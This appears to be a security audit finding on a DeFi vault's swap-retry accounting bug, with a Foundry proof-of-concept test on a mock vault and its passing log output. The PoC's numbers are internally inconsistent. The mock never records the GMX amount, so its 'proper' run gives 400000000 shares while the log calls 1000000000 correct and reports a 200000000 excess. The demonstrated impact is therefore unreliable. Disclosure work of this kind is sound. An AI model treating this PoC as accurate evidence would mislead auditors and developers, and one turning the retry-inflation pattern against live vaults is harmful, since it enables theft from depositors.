While the code does clear other variables on GMX errors or reverts, it does not roll back or re-initialize swapProgressData.swapped for the ParaSwap portion of the procedure. As a result, each reattempt can compound the total swap amount in contract state without validation or proper offset.
This oversight can lead to misaccounting in deposit and withdrawal operations. Attackers (or inadvertent repeated failures) could manipulate the inflated swapProgressData.swapped value to receive more vault shares during deposits or greater token amounts during withdrawals.
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function decimals() public pure override returns (uint8) {
return 6;
}
}
contract MockVault {
enum PROTOCOL {
DEX,
GMX
}
struct SwapProgressData {
uint256 toSwap;
uint256 swapped;
}
SwapProgressData public swapProgressData;
MockToken public collateralToken;
MockToken public indexToken;
bool public gmxSwapSucceeds;
uint256 public totalShares;
event SwapExecuted(string protocol, uint256 amount, bool success);
event SharesCalculated(uint256 shareAmount);
constructor(address _collateralToken, address _indexToken) {
collateralToken = MockToken(_collateralToken);
indexToken = MockToken(_indexToken);
}
function setGmxSwapResult(bool _succeeds) external {
gmxSwapSucceeds = _succeeds;
}
function initializeSwap(uint256 amount) external {
swapProgressData.toSwap = amount;
swapProgressData.swapped = 0;
}
function getSwapProgressData() external view returns (SwapProgressData memory) {
return swapProgressData;
}
function runSwap(bytes[] memory metadata) external returns (bool) {
if (metadata.length == 2) {
(PROTOCOL protocol1, bytes memory data1) = abi.decode(metadata[0], (PROTOCOL, bytes));
uint256 dexSwapAmount = abi.decode(data1, (uint256));
swapProgressData.swapped = swapProgressData.swapped + dexSwapAmount;
emit SwapExecuted("DEX", dexSwapAmount, true);
(PROTOCOL protocol2, bytes memory data2) = abi.decode(metadata[1], (PROTOCOL, bytes));
uint256 gmxSwapAmount = abi.decode(data2, (uint256));
if (gmxSwapSucceeds) {
emit SwapExecuted("GMX", gmxSwapAmount, true);
return true;
} else {
emit SwapExecuted("GMX", gmxSwapAmount, false);
return false;
}
}
return false;
}
function cancelOrder() external {
emit SwapExecuted("GMX_CANCEL", 0, false);
}
function finalizeSwap() external returns (uint256) {
uint256 newShares = swapProgressData.swapped;
totalShares += newShares;
emit SharesCalculated(newShares);
swapProgressData.toSwap = 0;
swapProgressData.swapped = 0;
return newShares;
}
function properlyCancel() external {
swapProgressData.swapped = 0;
emit SwapExecuted("GMX_CANCEL_PROPER", 0, false);
}
}
contract SwapDataAccumulationPOC is Test, ArbitrumTest {
MockToken collateralToken;
MockToken indexToken;
MockVault vault;
function setUp() public {
collateralToken = new MockToken("Mock USDC", "mUSDC");
indexToken = new MockToken("Mock ETH", "mETH");
vault = new MockVault(address(collateralToken), address(indexToken));
}
function test_Y4_SwapProgressDataAccumulation() external {
console.log("\n=== INITIAL SETUP ===");
console.log("Step 1: Initialize a swap operation");
uint256 swapAmount = 1000 * 10**6;
vault.initializeSwap(swapAmount);
MockVault.SwapProgressData memory initialData = vault.getSwapProgressData();
console.log("Initial amount to swap:", initialData.toSwap);
console.log("Initial amount swapped:", initialData.swapped);
console.log("\n=== DEMONSTRATE VULNERABILITY ===");
console.log("Step 2: Prepare two-step swap metadata (DEX + GMX)");
bytes[] memory metadata = new bytes[](2);
uint256 dexSwapAmount = 400 * 10**6;
metadata[0] = abi.encode(MockVault.PROTOCOL.DEX, abi.encode(dexSwapAmount));
uint256 gmxSwapAmount = 600 * 10**6;
metadata[1] = abi.encode(MockVault.PROTOCOL.GMX, abi.encode(gmxSwapAmount));
console.log("Step 3: Execute first swap attempt (DEX succeeds, GMX fails)");
vault.setGmxSwapResult(false);
bool firstAttemptCompleted = vault.runSwap(metadata);
MockVault.SwapProgressData memory dataAfterFirstAttempt = vault.getSwapProgressData();
console.log("First attempt completed:", firstAttemptCompleted);
console.log("SwapProgressData.swapped after first attempt:", dataAfterFirstAttempt.swapped);
console.log("\nStep 4: Cancel the GMX order and retry (without resetting swap data)");
vault.cancelOrder();
MockVault.SwapProgressData memory dataAfterCancel = vault.getSwapProgressData();
console.log("SwapProgressData.swapped after cancel:", dataAfterCancel.swapped);
console.log("\nStep 5: Execute second attempt (DEX succeeds again, GMX fails again)");
vault.setGmxSwapResult(false);
bool secondAttemptCompleted = vault.runSwap(metadata);
MockVault.SwapProgressData memory dataAfterSecondAttempt = vault.getSwapProgressData();
console.log("Second attempt completed:", secondAttemptCompleted);
console.log("SwapProgressData.swapped after second attempt:", dataAfterSecondAttempt.swapped);
console.log("\nStep 6: Cancel again and retry");
vault.cancelOrder();
console.log("\nStep 7: Execute third attempt (DEX succeeds, GMX finally succeeds)");
vault.setGmxSwapResult(true);
bool thirdAttemptCompleted = vault.runSwap(metadata);
MockVault.SwapProgressData memory dataAfterThirdAttempt = vault.getSwapProgressData();
console.log("Third attempt completed:", thirdAttemptCompleted);
console.log("SwapProgressData.swapped after third attempt:", dataAfterThirdAttempt.swapped);
console.log("\nStep 8: Finalize the swap and calculate shares");
uint256 calculatedShares = vault.finalizeSwap();
console.log("\n=== VERIFY VULNERABILITY IMPACT ===");
console.log("Correct swapped amount should be:", dexSwapAmount + gmxSwapAmount);
console.log("Actual recorded swapped amount:", dataAfterThirdAttempt.swapped);
console.log("Excess amount recorded:", dataAfterThirdAttempt.swapped - (dexSwapAmount + gmxSwapAmount));
console.log("Shares calculated from inflated amount:", calculatedShares);
assertEq(dataAfterFirstAttempt.swapped, dexSwapAmount, "First attempt records DEX amount");
assertEq(dataAfterSecondAttempt.swapped, dexSwapAmount * 2, "Second attempt accumulates DEX twice");
assertEq(dataAfterThirdAttempt.swapped, dexSwapAmount * 3, "Third attempt accumulates DEX three times");
assertEq(calculatedShares, dexSwapAmount * 3, "Shares calculated from accumulated amount");
console.log("\n=== DEMONSTRATE CORRECT BEHAVIOR ===");
console.log("Step 9: Initialize a new swap with same parameters");
vault.initializeSwap(swapAmount);
console.log("Step 10: Run first attempt with proper implementation");
vault.setGmxSwapResult(false);
vault.runSwap(metadata);
console.log("\nStep 11: Properly cancel by resetting swap data");
vault.properlyCancel();
MockVault.SwapProgressData memory dataAfterProperCancel = vault.getSwapProgressData();
console.log("SwapProgressData.swapped after proper cancel:", dataAfterProperCancel.swapped);
console.log("\nStep 12: Run successful attempt with proper implementation");
vault.setGmxSwapResult(true);
vault.runSwap(metadata);
MockVault.SwapProgressData memory dataAfterProperAttempt = vault.getSwapProgressData();
console.log("SwapProgressData.swapped after proper attempt:", dataAfterProperAttempt.swapped);
uint256 properShares = vault.finalizeSwap();
console.log("Shares calculated with proper implementation:", properShares);
console.log("\n=== CONCLUSION ===");
console.log("Vulnerability demonstrated: swapProgressData.swapped accumulates incorrectly across retry attempts");
console.log("Impact: Share calculations based on inflated values, leading to accounting errors");
console.log("Root cause: Failure to reset swapProgressData.swapped when GMX swaps fail");
}
}
Ran 1 test for test/SwapDataAccumulationPOC.t.sol:SwapDataAccumulationPOC
[PASS] test_Y4_SwapProgressDataAccumulation() (gas: 225636)
Logs:
=== INITIAL SETUP ===
Step 1: Initialize a swap operation
Initial amount to swap: 1000000000
Initial amount swapped: 0
=== DEMONSTRATE VULNERABILITY ===
Step 2: Prepare two-step swap metadata (DEX + GMX)
Step 3: Execute first swap attempt (DEX succeeds, GMX fails)
First attempt completed: false
SwapProgressData.swapped after first attempt: 400000000
Step 4: Cancel the GMX order and retry (without resetting swap data)
SwapProgressData.swapped after cancel: 400000000
Step 5: Execute second attempt (DEX succeeds again, GMX fails again)
Second attempt completed: false
SwapProgressData.swapped after second attempt: 800000000
Step 6: Cancel again and retry
Step 7: Execute third attempt (DEX succeeds, GMX finally succeeds)
Third attempt completed: true
SwapProgressData.swapped after third attempt: 1200000000
Step 8: Finalize the swap and calculate shares
=== VERIFY VULNERABILITY IMPACT ===
Correct swapped amount should be: 1000000000
Actual recorded swapped amount: 1200000000
Excess amount recorded: 200000000
Shares calculated from inflated amount: 1200000000
=== DEMONSTRATE CORRECT BEHAVIOR ===
Step 9: Initialize a new swap with same parameters
Step 10: Run first attempt with proper implementation
Step 11: Properly cancel by resetting swap data
SwapProgressData.swapped after proper cancel: 0
Step 12: Run successful attempt with proper implementation
SwapProgressData.swapped after proper attempt: 400000000
Shares calculated with proper implementation: 400000000
=== CONCLUSION ===
Vulnerability demonstrated: swapProgressData.swapped accumulates incorrectly across retry attempts
Impact: Share calculations based on inflated values, leading to accounting errors
Root cause: Failure to reset swapProgressData.swapped when GMX swaps fail
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.07ms (2.32ms CPU time)
Ran 1 test suite in 564.27ms (8.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)